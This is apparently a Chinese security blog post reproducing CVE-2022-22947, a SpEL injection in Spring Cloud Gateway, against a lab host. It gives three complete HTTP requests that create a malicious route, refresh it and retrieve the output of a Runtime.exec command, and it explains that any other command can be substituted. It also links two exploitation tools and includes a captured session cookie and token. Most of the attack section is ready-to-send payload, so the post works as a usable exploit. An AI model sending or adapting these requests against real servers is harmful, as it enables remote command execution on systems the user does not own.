Spring boot命令执行 (CVE-2022-22947)漏洞复现和相关利用工具

Spring boot命令执行 (CVE-2022-22947)漏洞复现和相关利用工具

名称: spring 命令执行 (CVE-2022-22947)

描述: Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。

影响版本:

Spring Cloud Gateway 3.1.x < 3.1.1

Spring Cloud Gateway 3.0.x < 3.0.7

第一个数据包

打开靶场抓取请求的数据包

切换成POST模式,请求这个地址,提交内容如下:返回201即为成功

可以更换请求路径中的test为你自己的方法,也可以更换value值里面的id命令为其它执行命令

bash 复制代码
POST /actuator/gateway/routes/test HTTP/1.1
Host: 192.168.91.129:15001
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Content-Length: 329

{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

第二个数据包

再请求这个路径:

bash 复制代码
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.91.129:15001
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 3

123

第三个数据包

再请求这个路径命令就会被执行。

bash 复制代码
GET /actuator/gateway/routes/test HTTP/1.1
Host: 192.168.91.129:15001
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-HK;q=0.9,zh;q=0.8
Cookie: b-user-id=98bc3e19-a246-205e-df14-b0f6176e841d; vue_admin_template_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzAxMzMzMTQxLCJlbWFpbCI6IiJ9.AlEzzqoZtAFFONBaJRMjjMEji7OJNLT8UxrAgbttBqc; sidebarStatus=0; JSESSIONID=6F5D2993DEE6FC179A1F71F6045DE7AA
If-None-Match: "3147526947+gzip"
If-Modified-Since: Thu, 17 Oct 2019 07:18:26 GMT
Connection: close

在这三次的请求中,会更换请求头的内容。如果发现卡住不成功的情况。那就重新抓一个包

如果要执行其它命令需要从第一步到第三步都请求一遍。

也有利用工具:

https://github.com/0x727/SpringBootExploit

https://github.com/13exp/SpringBoot-Scan-GUI

相关推荐
Bug.ink15 小时前
BUUCTF——WEB(2)
数据库·sql·网络安全·buuctf
Bruce_Liuxiaowei17 小时前
全面TCP端口扫描:Nmap高级扫描技术与实战应用
网络·tcp/ip·网络安全·php
Bug.ink20 小时前
BUUCTF——WEB(3)
web安全·网络安全·buuctf
Z_renascence21 小时前
web 260-web270
web安全·网络安全
bluechips·zhao1 天前
中间件及框架漏洞详解(Nginx、Apache、Tomcat、Redis、Zookeeper、RabbitMQ、Kafka等)
nginx·web安全·网络安全·中间件·apache·网络攻击模型·java-rabbitmq
Bruce_Liuxiaowei1 天前
Python 跨平台 Nmap 自动化扫描工具:从手动到一键批量扫描
开发语言·python·网络安全·自动化
小阿宁的猫猫1 天前
文件上传和解析漏洞的原理、条件、比赛时的各种绕过方法
web安全·网络安全·web
Whoami!1 天前
❾⁄₂ ⟦ OSCP ⬖ 研记 ⟧ 防病毒软件规避 ➱ 防病毒软件概述(下)
网络安全·信息安全·防病毒软件
unable code1 天前
攻防世界-Misc-2-1
网络安全·ctf·misc
weixin_307779131 天前
基于AWS Shield Advanced的自我管理DNS服务DDoS防护方案
网络安全·云计算·aws